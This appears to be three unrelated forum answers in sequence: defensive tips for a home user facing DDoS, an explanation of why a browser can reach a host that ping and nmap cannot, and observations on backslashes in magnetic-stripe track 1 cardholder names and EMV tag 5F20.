Give the "IP reset" (whatever that means) a shot, maybe it will help. If it doesn't, you aren't any worse off.
You could try powering off your CPE device for a period of time (10+ minutes but longer is better - maybe power off before going to sleep and back on in morning). This won't help with many forms of DDoS, but it may help with a few if your CPE device isn't online. You may also increase your chances of getting a new IP address from your ISP when you power it back on.
Change the ISP side MAC address of the device requesting the IP address if possible. This will often result in a different IP.
Change your ISP. If your ISP can't stop it and the target is the IP address or range of IP addresses, this may be your only option.


browser can visit the url but other application can't

My question is why can a browser can connect to it

A browser will connect over TCP, by default to a port that is normally open on a web server. Web servers normally use port 80 (plain-text HTTP) or port 443 (HTTPS), and unless the administrator deliberately chooses to use a non-standard port (which then must be specified in the browser address field), any server that is used to serve web content will necessarily have to allow a client to access either or both of these.

  but not a ping application

Ping uses what is technically known as ICMP Echo Requests and their corresponding ICMP Echo Responses. It is not at all uncommon to block these either at the host level or a perimeter firewall. ICMP is a protocol that runs on top of IP, in the same way as TCP or UDP, but is conceptually considered a sibling of IP rather than a sibling of TCP or UDP. See RFC 1122 section 1.1.3 Internet Protocol Suite, page 10. ICMP is unrelated to HTTP, and being able to connect to a standard HTTP port has no bearing on whether a host will accept a particular ICMP message from the same origin IP address. (Note that ICMP is used for many other things besides ping; it's called the Internet Control Message Protocol for good reason. Wikipedia has a handy summary of all ICMP control messages.)

  or nmap

nmap is what is known as a port scanner (among several other things). Port scanning is often a high-intensity activity that can easily be detected and subsequently blocked, and I wouldn't be the least bit surprised if many large web sites have just such things in place.

TL;DR: You are doing completely different things. Getting different results is normal and actually should be expected.


Odd characters -- including a backslash -- in magstripe track 1 name field?

I've seen exactly 2 cases so far. In both cases it appears as though the card issuer used the backslash as a substitute for a non-letter in the surname:

Case 1:

SMITH\JONES/JOHN

The \ was probably used instead of a hyphen. Not sure why they did this.

Case 2:

ST\JOHN/MARY

The \ was probably used instead of a period. Again, not sure why.

Now that Cardholder Name can be returned from an EMV tag, all bets are off! I've already seen a Cardholder Name (tag 5F20) that contained lowercase characters. Lowercase wouldn't be permitted by ISO 7813 in track 1 data; it wouldn't even be possible because of the limitations of the character set/namespace of track 1.